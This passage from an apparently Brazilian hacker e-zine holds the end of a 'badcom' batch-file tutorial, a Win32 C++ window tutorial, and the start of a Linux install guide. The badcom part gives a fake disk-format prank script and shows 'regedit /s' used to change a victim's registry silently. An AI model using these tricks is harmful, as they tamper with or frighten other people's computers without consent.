o computador... Ahhh, voce voltou... Voce quer que eu formate seu pc??? Sim ou Nao? echo. choice/csn if errorlevel n goto FORMATAR if errorlevel s goto FORMATAR :FORMATAR echo. echo Nao me interessa sua decisao, eu vou formatar seu HD pronto e acabou! Adeus! Huahauhauhauhauhauhuhauhauahuahuahauhauhauhauha!!! Se vira agora que voce nao nasceu umbigado comigo!!! echo. echo Formatando... echo. pause dir dir dir dir dir dir dir cls echo Formatacao concluida. echo. echo Quase morre do coracao hein hackao??? echo. echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries echo. echo Stupidy Program Created by IP_FIX echo ;) exit :JOGAR echo. echo Pergunta valendo US$0,00. echo. echo Qual a cor do cavalo branco de Napoleao??? echo. echo [1] Azul echo [2] Verde echo [3] Cinza echo [4] Rosa echo. choice/c1234 if errorlevel 4 goto FIM if errorlevel 3 goto FIM if errorlevel 2 goto FIM if errorlevel 1 goto FIM :FIM echo. echo Errado!!! echo. echo Nao acredito que voce errou isso... Voce nao merece mais jogar esse super jogo com mais de 24000(hmmm) perguntas ineditas nunca antes vistas nem mesmo pelo criador desse stupid program!!! echo. echo Por causa de sua "falta de inteligencia" seu computador sera formatado! Adeus! echo. echo Formatando... pause dir dir dir dir dir dir dir cls echo Formatacao concluida. echo. echo Da proxima vez sera de verdade. =) echo. echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries echo. echo Stupid Program Created by IP_FIX echo ;) exit -------------------------------xxx CuTe HeRe xxx------------------------------- Agora uma breve explicação do que cada linha de comando faz: @echo off //Isso faz com que não apareça nada na tela; echo //Esse comando faz com que seja imprimido caracteres na tela; echo. //Este faz pular uma linha; choice/c12 //Este comando te dá a opção de escolha, sendo que nesse caso você só poderá escolher 1 e 2; :SAIR //Essa seria a "Função" do Badcom, perceba que sempre ela deve ser acompanhada pelos dois pontos ":"; dir, cls, pause //Sem comentários...; Bem galera, esse "Programa Estúpido" que fiz foi só pra dá uma introdução (hmmm) de um badcom bastante simples e básico. Lembram que falei que se mexesse com o "Registro do Windows" (Regedit) sem saber o que está fazendo, poderia sair uma merda que só vendo pra crer? Bom, que tal fazer um simples vírus que faz isso? Essa última parte desse tutorial ensinará o básico de como mexer com o registro. Mas torno a repetir: Cuidado na hora de testar seu .bat, ele pode se virar contra você e você não terá chance de reverter a situação(às vezes). Olhe aqui abaixo outro exemplo banal: ------------------------------xxx CuTe HeRe xxx-------------------------------- REGEDIT4 [HKEY_CURRENT_USER\Control Panel\International] "sTimeFormat"="IP_FIX" ------------------------------xxx CuTe HeRe xxx-------------------------------- Bom, pra quem prestou atenção no que disse anteriormente (duvido muito...) sabe o que isso faz. Só tem um pequeno problema nisso tudo. Se você colocar isso direto no seu badcom, você não conseguirá adiconar essas informações ao registro. Para conseguir faça o seguinte: a) Abra o seu editor de texto normalmente; b) Cole isso tudo lá; c) E salve como a extensão ".reg"; d) Execute e de OK, agora basta reiniciar o sistema. Tá, mas agora você deve estar se perguntando: " - Como poderei usar isso no meu badcom que é ".bat" e adicionar essas informações sem a pessoa ter que confirmar???". Isso é simples oras! Basta você colocar a linha de comando "regedit /s Hora_Certa.reg" em qualquer local do seu badcom e pronto!!! Você adicionou as informações no registro com sucesso sem você mesmo ter percebido!!! :D DICAS: Com badcom dá pra fazer coisas fantásticas, desde joguinhos de perguntas e respostas (hauhauhauha) até uma desconfiguração total do seu sistema e registro e até exclusão de qualquer tipos de arquivos(lembram do deltree???). Vá no localizar e digite "*.bat", vai aparecer vários, clique com o botão direito e clique em editar. Tá vendo? Você pode ter certeza da real intenção desse bath e pode ver várias outras linhas de comandos, foi assim que aprendi badcom, sozinho na raça :). Dá pra fazer o mesmo com "*.reg". ATENÇÃO: Lembre-se: Combinar o badcom com o registro é uma combinação perigosa e fatal. Por isso, não esqueça de fazer sempre um backup do registro, para isso vá no executar e digite "scanreg". Assim, caso você faça merda, tem como restaurar numa boa com o comando "scanreg/restore"(tem que ser executado no MS-DOS, ou melhor, no modo de inicialização). Pronto galera, acabou! Já pode passar pro assunto seguinte! A tortura já se foi! Desculpe por não ter escrito algo melhor. Na verdade eu ia postar sobre sockets em Perl, mas não consegui terminar meu portscan que eu iria usar como exemplo. No momento também estudo C/C++ bastante, mas não tinha nada sobre o que eu poderia escrever. Então, resolvi escrever um pouco sobre badcom porquê essa foi a primeira linguagem que aprendi e que por causa dela é que estou aqui hoje (lembra _LiNe_SkOFF_?). Vamos lá galera, juízo na cabeça de vocês, não se aprende nada executando exploits por aí sem saber como funciona e sem saber se é seguro, ou pior ainda, sem saber se proteger pelo menos. Programação não é só lazer ou cultura, é PROFISSÃO! É o "ganha-pão" de muita gente passar a vida programando, então larguem esses exploits e vão aprender a fazer os seus!!! !!!THAT´S ALL FOLKS!!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 06 ]=-=[ Programando API em C++ para Windows ]=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Essa matéria é em homenagem à meu chegado, Inferninh0. É mais como desculpa pela minha primeira matéria que saiu um lixo, espero que essa compense =] C++ API Não vou dar noções básicas sobre C/C++. A interface API (Application Program Interface) corresponde a um conjunto de system calls oferecidas por um determinado sistema operacional. Neste caso, Windows. A biblioteca API de Windows é extensa, contendo as mais variadas funções. Não pretendo citar todas, mas sim as que eu considerar mais importantes, mesmo assim, pretendo fazer um trabalho extenso. Para não tornar essa matéria um tanto monótona, vou restringi-la à explicação à nível superficial. Não entrarei em detalhes como estrutura das funções, pois isso somente consumirá mais e mais bytes. Um dos maiores atrativos do Windows é seu sistema de janelas, que permite ao usuário navegar entre elas e coloca-las à disposição mais conveniente. Programadores de VB sabem o quanto é fácil criar uma janela, mas em C++, isso pode se tornar um processo que requer alguns procedimentos iniciais. Primeiramente vamos analisar a estrutura mais básica de um programa Win32 em C++: #include int _stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine, int nCmdShow) { return 0; } Para manter compatibilidade, a função é declarada como _stdcall, porém em alguns compiladores pode estar definida como WINAPI ou outras macros. A função WinMain tem como objetivo definir o inicio do programa. É relativamente semelhante à função main, só que é executada em contexto Win32 hehe. Os parâmetros são bem simples: Antes, o int de retorno: Da mesma maneira que a função main(), quando a função WinMain() retornar um valor, esta finalizará o programa. HINSTANCE: a HINSTANCE representa um valor de 32 bit´s que identifica um objeto no sistema. O sistema operacional passa este valor para o aplicativo para identificar o aplicativo enquanto ele está sendo executado e o libera quando o aplicativo é finalizado. A primeira HINSTANCE (hInstance) refere-se ao valor de identificação passado ao aplicativo. A segunda (hPrevInstance) refere-se á um valor curioso, é nela que vc recebe o valor da HINSTANCE de outra instância de seu aplicativo, dessa maneira você pode monitorar se seu aplicativo está sendo executado mais de uma vez e bloquear as instanciações de seu programa, caso o programa esteja sendo executado primariamente, esse valor passa a ser NULL. LPSTR é uma implementação de char*. nCmdLine corresponde á linha de comando passada ao seu aplicativo, ou, aos parâmetros á ele passados. Como um simples exemplo posso citar o Internet Explorer. A linha de comando á ele passada corresponde à página que será exibida. nCmdShow corresponde a um valor identificando o estado inicial da janela, é recomendável que esse valor seja passado como 2º parâmetro de ShowWindow(). Aí está o ponto de entrada para qualquer programa Win32. Como esse tutorial tem como foco a criação de um programa Win32, iremos direto ao ponto: Como criar uma simples janela? A API do Windows fornece uma estrutura que descreve os comportamentos padrões para qualquer janela. Um tópico importante, é que num ambiente de programação em C++ todas as classes e estruturas são consideradas como objetos. Essa visão se traduz no Windows quando falamos sobre janelas e controles. Tanto uma janela quanto um controle são objetos primários na construção de um aplicativo Win32, e, pela analise do Windows, são iguais. Uma janela corresponde à uma área (geralmente retangular) num espaço virtual conhecido como desktop, não seria correto afirmar que um controle não passa de uma janela dentro de um espaço conhecido como outra janela qualquer? É assim que você deve interpretar janelas e controles, não como estruturas que diferem entre si, mas estruturas semelhantes entre si. A API do Windows fornece uma estrutura básica para qualquer janela, que, geralmente em controles já é predefinida. Essa estrutura é conhecida como WNDCLASS. Como essa estrutura é pertencente à API do Win95, ficou atrasada para as evoluções do software, assim sendo, foi criada uma estrutura equivalente, que possui mais opções, a WNDCLASSEX. Ao longo do tutorial, você verá muitas funções e estruturas que foram recriadas com o sufixo EX, porém todas as funções e estruturas mais antigas prevalecem ainda hoje. Por razões de compatibilidade vou citar mais as funções EX (EXtended) do que as mais antigas. A estrutura WNDCLASSEX possui os seguintes membros: cbClsExtra – Corresponde à um valor em bytes que devem ser alocados depois da WNDCLASSEX na memória, o Windows inicializa este valor como zero. cbSize – Um unsigned int que corresponde ao tamanho da estrutura, geralmente um sizeof(WNDCLASSEX) é suficiente ;] cbWndExtra – Um valor que corresponde ao número de bytes que devem ser alocados após a instância da janela, o Windows inicializa esse valor como zero, porém é recomendável que este valor seja alterado para DLGWINDOWEXTRA caso você deseje utilizar caixas de diálogos criadas com WNDCLASSEX. hbrBackground – Um HBRUSH que corresponde ao fundo inicial da janela, geralmente esse valor é igualado à um dos valores predefinidos do sistema, como WINDOW_COLOR. hCursor – Corresponde à um HCURSOR que representa o cursor que será exibido dentro da janela. hIcon – Corresponde ao Ícone grande a ser exibido representando a janela, como no menu de alt+tab. hIconSm – Corresponde ao ícone pequeno a ser exibido na barra de título da janela. hInstance – Corresponde à instância que identifica um objeto no sistema, esse valor é passado ao programa para que ele não possa acessar objetos externos à seu processo indevidamente. Deve-se atribuir à esse valor a hInstance que foi passada à função WinMain. lpfnWndProc – Corresponde à uma função que recebe as mensagens enviadas à janela, em termos de leigo, corresponde à função responsável por gerenciar os eventos que ocorrem dentro da janela. lpszClassName – Corresponde à uma string que identifica a classe. lpszMenuName – Corresponde à uma string que aponta para o nome de menu associado à esta janela. Este tipo de menu é criado no arquivo de resources do aplicativo. Caso o valor seja identificado como um inteiro no arquivo de resource, deve-se utilizar a macro MAKEINTRESOURCE. style – Corresponde à um comportamento padrão da janela. Qualquer um destes membros pode ser validado como NULL, porém alguns são essenciais na construção de uma janela. Agora vamos analisar algumas peculiaridades de alguns deles. A WNDCLASS não apresenta os seguintes valores: cbSize e hIconSm. hbrBackground Esta propriedade refere-se à um HBRUSH que identifica o tipo de fundo que uma janela receberá. É recomendável que se utilize somente cores. Há valores padrões do sistema que podem ser utilizados: COLOR_ACTIVEBORDER COLOR_ACTIVECAPTION COLOR_APPWORKSPACE COLOR_BACKGROUND COLOR_BTNFACE COLOR_BTNSHADOW COLOR_BTNTEXT COLOR_CAPTIONTEXT COLOR_GRAYTEXT COLOR_HIGHLIGHT COLOR_HIGHLIGHTTEXT COLOR_INACTIVEBORDER COLOR_INACTIVECAPTION COLOR_MENU COLOR_MENUTEXT COLOR_SCROLLBAR COLOR_WINDOW COLOR_WINDOWFRAME COLOR_WINDOWTEXT hCursor Assim como hIcon e hIconSm, este valor pode ser criado no arquivo de resource, porém há tipos predefinidos de cursors que podem ser carregados utilizando-se a função LoadCursor, passando o primeiro valor (hInstance) como NULL e o segundo como o valor a ser utilizado: IDC_APPSTARTING IDC_ARROW IDC_CROSS IDC_IBEAM IDC_ICON IDC_NO IDC_SIZE IDC_SIZEALL IDC_SIZENESW IDC_SIZENS IDC_SIZENWSE IDC_SIZEWE IDC_UPARROW IDC_WAIT hIcon e hIconSm Podem ser carregados valores do sistema utilizando-se a função LoadCursor, passando o primeiro valor como NULL e o segundo como o valor a ser utilizado: IDI_APPLICATION IDI_ASTERISK IDI_EXCLAMATION IDI_HAND IDI_QUESTION IDI_WINLOGO lpfnWndProc O Window Procedure é uma função responsável por gerenciar as mensagens recebidas em uma janela. A sintaxe do Window Procedure é: LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); O valor de retorno corresponde a um long. HWND é um unsigned int que corresponde ao valor do window handle, ou seja, um valor utilizado para a manipulação da janela. Msg corresponde ao valor numérico da mensagem recebida pela janela, wParam corresponde à um DWORD com valores passados à Msg, o mesmo vale para lParam. style Define estilos padrões que alteram a performance da janela: CS_BYTEALIGNCLIENT e CS_BYTEALIGNWINDOW Alinham a janela em um determinado contexto na posição horizontal para melhorar a performance em operações gráficas. Estes estilos afetam a posição horizontal e largura da janela. Não é muito utilizado CS_CLASSDC Aloca um DC para ser utilizado por todas as janelas da classe. É utilizado para diminuir o tempo de espera em operações gráficas. Este estilo permite que somente uma janela manipule operações gráficas por vez CS_DBLCLKS Permite que a janela receba mensagens sobre cliques duplos (DblClick) CS_GLOBALCLASS Permite que uma janela seja criada sem a necessidade que a hInstance da classe seja a mesma da janela. É utilizada em controles que são inicializados em DLLs CS_HREDRAW e CS_VREDRAW Redesenha toda a janela caso esta seja modificada horizontalmente ou verticalmente respectivamente. Tanto vale para movimentações como para reajustes de tamanho CS_NOCLOSE Desabilita todas as opções naturais para se fechar uma janela CS_OWNDC Aloca um DC único para cada janela da classe CS_PARENTDC Permite que janelas Child possam realizar operações gráficas em suas janelas pai. Essa opção aumenta a performance de operações gráficas, já que uma janela dessa classe recebe um cachê de memória maior para alocar seu DC CS_SAVEBITS Caso uma janela seja parcialmente obscurecida por outra janela, essa opção salva a parte obscurecida como um bitmap na memória para aumentar a rapidez no processo de redesenhar a janela, porém um certo tempo é perdido para alocar o bitmap. Essa opção não é recomendada DC´s serão explicados mais tarde. Operações gráficas referem-se ao ato de desenhar uma janela ou controle ou outras funções GDI. Um simples exemplo da construção de uma WNDCLASSEX: WNDCLASSEX wnd; wnd.cbClsExtra = 0; wnd.cbSize = sizeof(WNDCLASSEX); wnd.cbWndExtra = 0; wnd.hbrBackground = (HBRUSH)(COLOR_WINDOW); wnd.hCursor = LoadCursor(NULL,IDC_ARROW); wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION); wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION); wnd.hInstance = hInstance; wnd.lpfnWndProc = (WNDPROC) WProc; wnd.lpszClassName = "MainWnd"; wnd.lpszMenuName = NULL; wnd.style = CS_OWNDC; Programadores mais “avançados” podem estudar a sintaxe da WNDCLASSEX e montá-la em somente uma linha de código ;] Bom, após a criação da WNDCLASSEX, deve-se registrá-la para que possa ser utilizada pelos threads do processo em execução. Isso se faz com o auxílio da função RegisterClassEx. RegisterClassEx(&wnd); O único parâmetro é o endereço da WNDCLASSEX a ser registrada. Logicamente há seu equivalente para a WNDCLASS: RegisterClass(&WNDCLASS); Estas funções retornam um valor (ATOM) que identifica unicamente a classe no sistema. Caso haja erro, o valor de retorno é 0. Bom, e agora? Agora vamos a parte principal, a tão esperada função que realmente cria a janela, a CreateWindow(Ex). A CreateWindowEX() possui 12 parâmetros, enquanto que a CreateWindow() possui 11, sendo assim elas só diferem no parâmetro dwExStyle, que, logicamente, pertence à CreateWindowEx e não à CreateWindow. Vamos dar uma olhada nos seus parâmetros: dwExStyle – Esse valor é uma DWORD (int de 32 bit´s para os mais leigos) que relata à função alguns comportamentos extendidos referentes à janela. Veremos seus possíveis valores mais à frente. lpClassName – Esse valor refere-se ao nome da WNDCLASS registrada, ou seja deve ser o mesmo que lpszClassName da classe registrada. lpWindowName – Um valor que na maioria das vezes serve como string primária da janela. dwtyle – Comportamentos padrões das janelas. x e y – int´s que definem as posições horizontal e vertical (respectivamente) da janela (Left e Top). nWidth e nHeight – int´s que definem a largura e a altura da janela (respectivamente) (Width e Height). hWndParent – Corresponde à um HWND (calma aí) que identifica a janela pai da janela a ser criada. É recomendável que este valor não seja NULL, assim sendo, para janelas comuns, deve-se utilizar a função GetDesktopWindow(void); como parâmetro para este valor. hMenu – Identifica um Menu criado em API pertencente à esta janela. HInstance – Use sua imaginação ;] lpParam – Há muito esse parâmetro deixou de ser utilizado. Seu valor consiste em uma estrutura que contêm todos os valores acima citados e estes da função são substituídos pelos desta estrutura. Perda de memória, não? ;/ O valor de retorno corresponde à um HWND. O HWND, ou Window Handle, é um valor de 32 bit´s que identifica uma janela para que esta possa ser manipulada por diversas funções. Caso a função falhe, o retorno é NULL. Em API, toda função, quando retorna um erro, pode ter esse valor de erro re-adquirido com a função GetLastError(void), que retorna uma DWORD (int) com o valor de retorno da função que retornou o erro. Os possíveis valores para dwExStyle são: WS_EX_ACCEPTFILES Esta janela aceita arquivos arrastados até ela WS_EX_CLIENTEDGE Cria uma borda interna à área interna da janela WS_EX_CONTEXTHELP Inclui o botão de interrogação na barra de título da janela WS_EX_CONTROLPARENT Permite que seja possível navegar entre as janelas child desta janela utilizando-se a tecla TAB WS_EX_DLGMODALFRAME Cria bordas em janelas com o valor WS_POPUP em dwStyle WS_EX_LEFT e WS_EX_RIGHT Cria uma janela que possui propriedades de texto alinhado à esquerda (padrão) ou à direita, respectivamente WS_EX_LEFTSCROLLBAR e WS_EX_RIGHTSCROLLBAR Se a barra de rolagem estiver visível na janela, essas opções definem seu alinhamento, à esquerda ou à direita (padrão) respectivamente WS_EX_LTRREADING e WS_EX_RTLREADING O texto da janela é apresentado da ordem especificada, esquerda-para-direita (padrão) ou direita-para-esquerda. O segundo valor só funciona em línguas que possuem suporte para este tipo de escrita, como o Hebraico WS_EX_MDICHILD Cria uma janela child WS_EX_NOPARENTNOTIFY Especifica que uma janela child não irá notificar sua janela-pai sobre sua criação ou destruição WS_EX_OVERLAPPEDWINDOW Combina WS_EX_CLIENTEDGE e WS_EX_WINDOWEDGE WS_EX_PALETTEWINDOW Combina WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW e WS_EX_TOPMOST WS_EX_STATICEDGE Cria uma janela com uma borda (interna) em sua área externa, geralmente utilizados em controles estáticos WS_EX_TOOLWINDOW Cria uma janela geralmente utilizada como janela de ferramentas, com uma borda e fonte de título menores que o original. Esse tipo de janela não aparece na barra de tarefas ou no menu de ALT+TAB WS_EX_TOPMOST Especifica que a janela deve sempre sobrepor as janelas que não possuem este valor WS_EX_TRANSPARENT Cria uma janela 100% transparente (não translúcida ;|). Este tipo de janela é comumente utilizado em operações de realinhamento de janela. Este tipo de janela não é, geralmente, utilizado por aplicativos WS_EX_WINDOWEDGE Cria uma janela com uma borda (externa) em sua área externa Para x,y, nWidth e nHeight, o sistema provê valores padrões que podem ser utilizados igualando estes valores à CW_USEDEFAULT. Os possíveis valores de dwStyle: WS_BORDER Cria uma janela com uma borda fina WS_CAPTION Cria uma janela com uma barra de título e WS_BORDER WS_CHILD e WS_CHILDWINDOW Cria uma janela child. Este valor não pode ser mesclado com WS_POPUP WS_CLIPCHILDREN Exclui a área ocupada pelas janelas child quando uma janela receber uma mensagem WM_PAINT (operação gráfica). Esse valor deve ser utilizado em janelas pai WS_CLIPSIBLINGS Esse valor evita alguns problemas gráficos com janelas child. Você mesmo poderá fazer um teste utilizandp 2 janelas child, uma com este valor e outra sem, coloque uma sobre a outra e mude-as de tamanho e posição ;] WS_DISABLED Cria uma janela desabilitada. Esse tipo de janela não recebe entrada do usuário WS_DLGFRAME Cria uma borda que é comumente utilizada em caixas de diálogo WS_GROUP Especifica o primeiro controle em um grupo de controles WS_HSCROLL e WS_VSCROLL Cria uma janela que possui uma barra de rolagem horizontal e/ou vertical (respectivamente) WS_ICONIC e WS_MINIMIZE Cria uma janela que está inicialmente minimizada WS_MAXIMIZE Cria uma janela que está inicialmente maximizada WS_MAXIMIZEBOX e WS_MINIMIZEBOX Cria uma janela que possui um botão de maximizar e/ou minimizar (respectivamente) WS_OVERLAPPED e WS_TILED Cria uma janela que possui uma borda e uma barra de titulo WS_OVERLAPPEDWINDOW e WS_TILEDWINDOW Cria uma janela num estilo mais comum mesclando WS_OVERLAPPED, WS_CAPTION, WS_SYSMENU, WS_THICKFRAME, WS_MINIMIZEBOX e WS_MAXIMIZEBOX WS_POPUP Cria uma janela popup, sem bordas ou barra de titulo WS_POPUPWINDOW Mescla WS_BORDER, WS_POPUP e WS_SYSMENU WS_SIZEBOX e WS_THICKFRAME Cria uma janela que possui uma barra de reajuste de tamanho WS_SYSMENU Cria uma janela com um menu de janela comum. O valor WS_CAPTION é recomendado WS_TABSTOP Especifica um controle que pode receber o foco quando o usuário pressiona a tecla TAB WS_VISIBLE Cria uma janela que esta inicialmente visível Exemplo =D: HWND MainWnd = CreateWindowEx(WS_EX_WINDOWEDGE,"MainWnd","Janela de exemplo", WS_OVERLAPPEDWINDOW,120,150, CW_USEDEFAULT,450,GetDesktopWindow(),NULL,hInstance,NULL); Uma simples verificação: If(!MainWnd){PostQuitMessage(0);} A função PostQuitMessage(int) finaliza o programa terminando o seu Message Loop que será visto adiante. Após a criação da janela, se esta não houver sido criada com WS_SHOW, é necessário mostrá-la. Para isso utiliza-se ShowWindow(HWND, int). Exemplo: ShowWindow(MainWnd,SW_SHOWNORMAL); Os valores do 2º parâmetro são: SW_HIDE - Esconde a janela e passa o foco para a próxima janela SW_MAXIMIZE - Maximiza a janela e recebe o foco SW_MINIMIZE – Minimiza a janela e recebe o foco SW_RESTORE - Restaura a janela a seu status padrão e recebe o foco SW_SHOW – Mostra a janela e recebe o foco SW_SHOWMAXIMIZED, SW_SHOWMINIMIZED – Mostra a janela e a maximiza ou minimiza (respectivamente) SW_SHOWMINNOACTIVE – Minimiza a janela e não recebe foco SW_SHOWNA – Mostra a janela em seu estado atual, não recebe o foco SW_SHOWNOACTIVE – Mostra a janela em sua posição e tamanho recentes, não recebe o foco SW_SHOWNORMAL – Mostra a janela, faz o mesmo que SW_RESTORE e recebe o foco nCmdShow – Isso mesmo, este é o valor passado ao aplicativo por WinMain, que pode ser utilizado como valor padrão para o inicio das janelas do aplicativo. O valor de retorno é um bool. Caso a janela estivesse anteriormente escondida, o valor de retorno é false (0), caso contrário é true (1). É comum utilizar também UpdateWindow(HWND); para redesenhar a janela após mostra-la: UpdateWindow(MainWnd); Caso a função falhe, o valor de retorno (bool) é false. A partir daqui, caso você deseje que função subseqüentes sejam realizadas, pode incluí-las no código. Após tudo isso você pensa que acabamos com a WinMain??? Lembra-se que quando a função retorna um valor ou chega ao seu fim o programa termina? Então, como os programas Win32 rodam por tempo indefinido? Simples, com a utilização de um pequeno artifício chamado Message Loop. O Message Loop, como seu nome sugere, consiste em um loop no qual uma mensagem é analisada e enviada à janela. O loop consiste em 3 funções simples: GetMessage(&MSG,HWND,unsigned int, unsigned int); TranslateMessage(&MSG); DispatchMessage(&MSG) O MSG corresponde à um valor que identifica uma mensagem de sistema. Sintáxe comum de um message loop: MSG msg; while ( GetMessage(&msg,NULL,0,0) ) { TranslateMessage(&msg); DispatchMessage(&msg); } Um sistema de mensagens é um artifício do sistema operacional para coordenar a comunicação entre processos e não será abordado aqui. A descrição do loop é simples: while ( GetMessage(&msg,NULL,0,0) ) Esse linha simplesmente cria um loop no qual a função GetMessage pega a primeira mensagem na fila de mensagens do thread atual. O fato de que as mensagens correspondem ao thread atual e não à uma janela especifica provêm de que o segundo parâmetro é neutro, e assim deve permanecer, pois, caso uma janela seja descrita, com o fechamento de tal janela o aplicativo todo seria finalizado de maneira indesejável. O valor de retorno (bool), é true em casos normais, é false quando é processada uma mensagem WM_QUIT (Assim como a enviada por PostQuitMessage()) e –1 quando a função falha. Caso você feche a janela descrita em HWND, a função retornaria –1 para o while gerando, assim, um erro fatal ao aplicativo. Por estas razões, no message loop, HWND deve sempre ser NULL. O 3º parâmetro indica a primeira mensagem na fila e o 2º, a última. Estes valores devem ser 0 para que as mensagens sejam processadas assim que chegarem à fila. TranslateMessage(&msg); Essa função traduz mensagens que apresentam códigos virtuais para código ASCII. Tais mensagens são geralmente enviadas somente pelo teclado. DispatchMessage(&msg); Essa função envia a mensagem para a WindowProc responsável pela janela que recebeu a mensagem. Após o message loop, pode-se incluir normalmente o return ;] return 0; Aí está uma simples WinMain. Agora, vamos à WindowProc, que analisará as mensagens enviadas para a janela. Como já vimos, a sintaxe do Window Procedure é: LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); E o valor de retorno corresponde a um long. O primeiro parâmetro da função corresponde ao HWND da janela responsável por receber a mensagem. O segundo, à mensagem em si, o terceiro e o quarto à demais parâmetros da mensagem. O método mais comum de se trabalhar com o WinProc é dando um switch e verificando as mensagens enviadas: LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_DESTROY:{ PostQuitMessage(1); } case WM_CREATE:{ FazAlgumaCoisa(); } } return DefWindowProc(hWnd,msg,wParam,lParam); } As mensagens aí enviadas correspondem, respectivamente, à quando a janela é finalizada e criada. DefWindowProc corresponde à uma função que recepta as mensagens que não são processadas pela WinProc. Os parâmetros são os mesmos da WinProc. Essa função garante que todas as mensagens sejam receptadas de maneira correta. return 0; geralmente funciona também ;] As mensagens mais comuns são citadas a seguir com seus respectivos eventos: WM_ACTIVATE OnActivate, OnGetFocus, OnEnter WM_ACTIVATEAPP, WM_KILLFOCUS OnLostFocus, OnExit, OnDeactivate WM_CLOSE OnClose WM_COPY OnCopy WM_CREATE OnCreate, OnLoad WM_CUT OnCut WM_DESTROY OnDestroy WM_ENABLE OnEnable WM_HELP OnHelp WM_KEYDOWN OnKeyDown WM_KEYUP OnKeyUp WM_KILLFOCUS OnLostFocus, OnExit, OnDeactivate WM_LBUTTONDNLCLK OnDblClick (Botão esquerdo) WM_LBUTTONDOWN OnMouseDown (Botão esquerdo) WM_LBUTTONUP OnMouseUp (Botão esquerdo) WM_MBUTTONDBLCLK OnDblClick (Botão do meio) WM_MBUTTONDOWN OnMouseDown (Botão do meio) WM_MBUTTONUP OnMouseUp (Botão do meio) WM_MOUSEMOVE OnMouseMove WM_MOUSEWHEEL OnMouseWheel WM_MOVE OnMoved WM_MOVING OnMove WM_PAINT OnPaint, OnRepaint WM_PASTE OnPaste WM_QUIT OnTerminate WM_RBUTTONDNLCLK OnDblClick (Botão direito) WM_RBUTTONDOWN OnMouseDown (Botão direito) WM_RBUTTONUP OnMouseUp (Botão direito) WM_SETFOCUS OnActivate, OnGetFocus, OnEnter WM_SIZE OnResized WM_SIZING OnResizing, OnResize WM_TIMER OnTimer WM_UNDO OnUndo A partir daí você já está apto a monitorar suas próprias mensagens, mas, por enquanto, vamos montar um simples programa que não faça nada menos do que aquilo que aprendemos até agora, exceto o uso da função API SetWindowText(HWND,char *) que modifica a string da barra de título da janela (Caption): /*Programa simples de exemplo*/ #include #pragma hdrstop //diretiva de pré-processador LRESULT CALLBACK WinProc(HWND,UINT,WPARAM,LPARAM); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine, int nCmdShow) { MSG msg; WNDCLASSEX wnd; wnd.cbClsExtra = 0; wnd.cbSize = sizeof(WNDCLASSEX); wnd.cbWndExtra = 0; wnd.hbrBackground = (HBRUSH) COLOR_WINDOW; wnd.hCursor = LoadCursor(NULL,IDC_ARROW); wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION); wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION); wnd.hInstance = hInstance; wnd.lpfnWndProc = (WNDPROC) WinProc; wnd.lpszClassName = "Janela"; wnd.lpszMenuName = NULL; wnd.style = NULL; if(!RegisterClassEx(&wnd)){PostQuitMessage(0);} HWND handle = CreateWindowEx(NULL,"Janela","Janela de Exemplo", WS_OVERLAPPEDWINDOW,150,150,300,300,GetDesktopWindow(),NULL,hInstance,NULL); if(!handle){PostQuitMessage(0);} ShowWindow(handle,nCmdShow); UpdateWindow(handle); while(GetMessage(&msg,NULL,0,0)){ TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { switch(Msg){ case WM_RBUTTONDOWN: SetWindowText(hWnd,"Clique direito"); break; case WM_LBUTTONDOWN: SetWindowText(hWnd,"Clique esquerdo"); break; case WM_MBUTTONDOWN: SetWindowText(hWnd,"Clique com botão do meio"); break; case WM_MOVE: SetWindowText(hWnd,"Janela movida"); break; case WM_SIZE: SetWindowText(hWnd,"Tamanho modificado"); break; case WM_KEYDOWN: SetWindowText(hWnd,"Tecla pressionada"); break; case WM_DESTROY: PostQuitMessage(0); } return DefWindowProc(hWnd,Msg,wParam,lParam); } /*Fim do programa! Este programa foi compilado em Visual Studio 6.0. A macro WIN_32_LEAN_AND_MEAN foi utilizada, embora não tenha sido citada aqui. O programa compilado está disponível aqui e possui 152 KB.*/ Bom, agora você já sabe criar uma janela simples e manipular as principais mensagens que podem vir a ocorrer. No próximo capítulo entraremos em detalhes nos controles simples de Windows, e ainda veremos alguns parâmetros das mensagens mais comuns e aprenderemos alguns truquezinhos ;]] Xor´s para todos ;] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 07 ]=-=[ Instalando o Linux pela 1ª vez ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Como vão Newbies? Isso é só um básico pra quem quer se aventurar no linux, mas não sabe como e não quer perder o rwindows por motivos de força maior... :) Se você tem um HD de 20GB e está usando seu sistema tudo numa partição, você teria que perder tudo se quisesse criar uma outra partição. Mas existem programas que redimensionam o seu tamanho, e o maior destaque neles, são a facilidade e (in)segurança que eles proporcionam. Vamos aos exemplos: Você tem extamente 10GB para seu linux com um PII 233Mhz e 64RAM. 